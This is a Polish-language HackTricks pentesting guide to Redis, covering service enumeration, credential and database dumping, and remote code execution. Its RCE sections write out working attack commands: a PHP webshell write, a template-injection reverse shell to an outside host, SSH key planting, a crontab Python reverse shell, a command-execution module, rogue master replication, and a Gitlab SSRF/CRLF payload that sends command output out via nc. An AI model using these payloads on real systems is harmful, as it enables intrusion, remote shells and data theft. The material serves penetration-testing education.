hacktricks/network-services-pentesting/6379-pentesting-redis.md

20 KiB
Raw Blame History

6379 - Testowanie penetracyjne Redis

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Spostrzeżenia z Hakerstwa
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności z Hakerstwa na Żywo
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spostrzeżeniom na żywo

Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Podstawowe informacje

Z dokumentacji: Redis to otwarty system (licencja BSD), przechowujący dane w pamięci, używany jako baza danych, pamięć podręczna i broker wiadomości.

Domyślnie Redis używa protokołu opartego na tekście, ale należy pamiętać, że może również implementować ssl/tls. Dowiedz się, jak uruchomić Redis z ssl/tls tutaj.

Domyślny port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatyczne wyliczenie

Niektóre zautomatyzowane narzędzia, które mogą pomóc w uzyskaniu informacji z instancji redis:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Ręczne wyliczanie

Baner

Redis to protokół oparty na tekście, możesz po prostu wysłać polecenie przez gniazdo i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem ssl/tls (ale jest to bardzo dziwne).

W zwykłej instancji Redis możesz po prostu połączyć się za pomocą nc lub możesz także użyć redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Pierwszą komendą, którą możesz spróbować jest info. Może ona zwrócić wynik z informacjami o instancji Redis lub coś w rodzaju poniższego wyniku:

-NOAUTH Authentication required.

W tym ostatnim przypadku oznacza to, że potrzebujesz prawidłowych poświadczeń dostępu do instancji Redis.

Autoryzacja Redis

Domyślnie Redis można uzyskać dostęp bez poświadczeń. Jednakże można go skonfigurować tak, aby obsługiwał tylko hasło lub nazwę użytkownika + hasło.
Możliwe jest ustawienie hasła w pliku redis.conf za pomocą parametru requirepass lub tymczasowo do momentu ponownego uruchomienia usługi łącząc się z nią i wykonując: config set requirepass p@ss$12E45.
Dodatkowo, nazwa użytkownika może być skonfigurowana w parametrze masteruser w pliku redis.conf.

{% hint style="info" %} Jeśli skonfigurowano tylko hasło, używana jest nazwa użytkownika "default".
Zauważ również, że nie ma sposobu, aby zewnętrznie sprawdzić, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem. {% endhint %}

W przypadkach takich jak ten będziesz musiał znaleźć prawidłowe poświadczenia do interakcji z Redis, więc możesz spróbować próbować siłowo.
Jeśli znalazłeś prawidłowe poświadczenia, musisz uwierzytelnić sesję po nawiązaniu połączenia za pomocą polecenia:

AUTH <username> <password>

Poprawne dane uwierzytelniające zostaną odpowiedziane: +OK

Uwierzytelniona enumeracja

Jeśli serwer Redis zezwala na anonimowe połączenia lub jeśli uzyskałeś poprawne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących komend:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Inne polecenia Redis znajdują się tutaj oraz tutaj.

Zauważ, że polecenia Redis instancji mogą być zmienione nazwane lub usunięte w pliku redis.conf. Na przykład ta linia usunie polecenie FLUSHDB:

rename-command FLUSHDB ""

Więcej informacji na temat bezpiecznej konfiguracji usługi Redis znajdziesz tutaj: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Możesz również monitorować w czasie rzeczywistym wykonywane polecenia Redis za pomocą polecenia monitor lub uzyskać 25 najwolniejszych zapytań za pomocą slowlog get 25

Znajdź więcej interesujących informacji na temat innych poleceń Redis tutaj: https://lzone.de/cheat-sheet/Redis

Dumpowanie bazy danych

Wewnątrz Redis bazy danych są numerowane, zaczynając od 0. Możesz sprawdzić, czy któraś jest używana w wyniku polecenia info w sekcji "Keyspace":

Możesz także po prostu uzyskać wszystkie keyspaces (bazy danych) za pomocą:

INFO keyspace

W tym przykładzie używane są bazy danych 0 i 1. Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1. Domyślnie Redis będzie używał bazy danych 0. Aby wyeksportować na przykład bazę danych 1, należy wykonać:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

W przypadku otrzymania następującego błędu -WRONGTYPE Operation against a key holding the wrong kind of value podczas uruchamiania GET <KEY> oznacza to, że klucz może być czymś innym niż ciąg znaków lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia go.

Aby poznać typ klucza, użyj polecenia TYPE, przykład poniżej dla kluczy listy i hasza.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Wyciek bazy danych za pomocą npm redis-dump lub pythona redis-utils

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Spostrzeżenia dotyczące Hackingu
Zajmij się treściami, które zagłębiają się w emocje i wyzwania związane z hackingiem

Aktualności z Hackingu na Żywo
Bądź na bieżąco z szybkim światem hackingu dzięki aktualnościom i spostrzeżeniom na żywo

Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Redis RCE

Interaktywna Powłoka

redis-rogue-server może automatycznie uzyskać interaktywną powłokę lub powłokę odwrotną w Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Informacje z tutaj. Musisz znać ścieżkę do folderu witryny:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Jeśli wystąpi wyjątek dostępu do webshell, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętaj o przywróceniu bazy danych.

Szablon Webshell

Podobnie jak w poprzednim rozdziale, możesz również nadpisać pewien plik szablonu HTML, który zostanie zinterpretowany przez silnik szablonów i uzyskać shell.

Na przykład, patrząc na ten opis, możesz zobaczyć, że atakujący wstrzyknął rev shell w html interpretowany przez silnik szablonów nunjucks:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} Zauważ, że kilka silników szablonów przechowuje szablony w pamięci, więc nawet jeśli je nadpiszesz, nowy nie zostanie wykonany. W takich przypadkach albo programista pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić atak typu DoS na usługę (i oczekiwać, że zostanie ona automatycznie ponownie uruchomiona). {% endhint %}

SSH

Przykład stąd

Proszę pamiętać, że wynik polecenia config get dir może ulec zmianie po wykonaniu innych poleceń eksploitacyjnych. Zaleca się uruchomienie go jako pierwszego zaraz po zalogowaniu się do Redis. W wyniku polecenia config get dir możesz znaleźć katalog domowy użytkownika redis (zazwyczaj /var/lib/redis lub /home/redis/.ssh), co pozwoli Ci określić, gdzie możesz zapisać plik authenticated_users w celu uzyskania dostępu za pomocą ssh z użytkownikiem redis. Jeśli znasz katalog domowy innego ważnego użytkownika, do którego masz uprawnienia do zapisu, możesz go również wykorzystać:

  1. Wygeneruj parę kluczy publiczny-prywatny ssh na swoim komputerze: ssh-keygen -t rsa
  2. Zapisz klucz publiczny do pliku: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Zaimportuj plik do redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Zapisz klucz publiczny w pliku authorized_keys na serwerze redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Wreszcie, możesz ssh na serwer redis z kluczem prywatnym: ssh -i id_rsa redis@10.85.0.52

Ta technika jest zautomatyzowana tutaj: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Ostatni przykład dotyczy Ubuntu, dla Centos, powyższe polecenie powinno być: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Ta metoda może również być użyta do zarabiania bitcoinów: yam

Załaduj moduł Redis

  1. Postępując zgodnie z instrukcjami z https://github.com/n0b0dyCN/RedisModules-ExecuteCommand możesz skompilować moduł redis do wykonywania dowolnych poleceń.
  2. Następnie potrzebujesz sposobu wgrania skompilowanego modułu
  3. Załaduj wgrany moduł podczas działania z MODULE LOAD /ścieżka/do/mymodule.so
  4. Wyświetl załadowane moduły aby sprawdzić, czy został poprawnie załadowany: MODULE LIST
  5. Wykonaj polecenia:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Wyładowuj moduł w dowolnym momencie: MODULE UNLOAD mymodule

Bypass bezpiecznej przestrzeni LUA

Tutaj możesz zobaczyć, że Redis używa polecenia EVAL do wykonania kodu Lua w bezpiecznej przestrzeni. W połączonym poście możesz zobaczyć, jak to wykorzystać używając funkcji dofile, ale podobno to już nie jest możliwe. W każdym razie, jeśli uda ci się obejść bezpieczną przestrzeń Lua, możesz wykonywać dowolne polecenia w systemie. Ponadto, z tego samego postu możesz zobaczyć kilka opcji wywołania DoS.

Niektóre CVE umożliwiające ucieczkę z LUA:

Moduł Master-Slave

Wszystkie operacje na głównym redisie są automatycznie synchronizowane z redisem podrzędnym, co oznacza, że możemy traktować podatny redis jako redis podrzędny, podłączony do głównego redisu, który jest pod naszą kontrolą, dzięki czemu możemy wprowadzić polecenia do naszego własnego redisa.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF rozmawiając z Redis

Jeśli możesz wysłać żądanie czystym tekstem do Redis, możesz z nim komunikować się, ponieważ Redis będzie czytał żądanie linijka po linijce i odpowiadał tylko błędami na linie, których nie rozumie:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Dlatego jeśli znajdziesz lukę SSRF na stronie internetowej i będziesz mógł kontrolować niektóre nagłówki (być może za pomocą luki CRLF) lub parametry POST, będziesz mógł wysyłać dowolne polecenia do Redis.

Przykład: Gitlab SSRF + CRLF na Shell

W Gitlab11.4.7 odkryto lukę SSRF oraz CRLF. Luka SSRF znajdowała się w funkcjonalności importowania projektu z adresu URL podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie [0:0:0:0:0:ffff:127.0.0.1] (co pozwala na dostęp do 127.0.0.1), a luka CRLF była wykorzystywana poprzez dodanie znaków %0D%0A do adresu URL.

Dlatego było możliwe wykorzystanie tych podatności do komunikacji z instancją Redis, która zarządza kolejkami z gitlab i nadużywanie tych kolejek do uzyskania wykonania kodu. Payload nadużycia kolejki Redis to:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

A kodowanie URL żądanie wykorzystujące SSRF i CRLF do wykonania polecenia whoami i przesłania wyniku za pomocą nc to:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Dlaczegoś (jak autor https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ skąd pochodzi ta informacja) eksploatacja działała ze schematem git, a nie ze schematem http.

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Wgląd w Hacking
Zanurz się w treściach, które zgłębiają emocje i wyzwania hackowania

Aktualności z Hackingu na Żywo
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i wglądom na żywo

Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: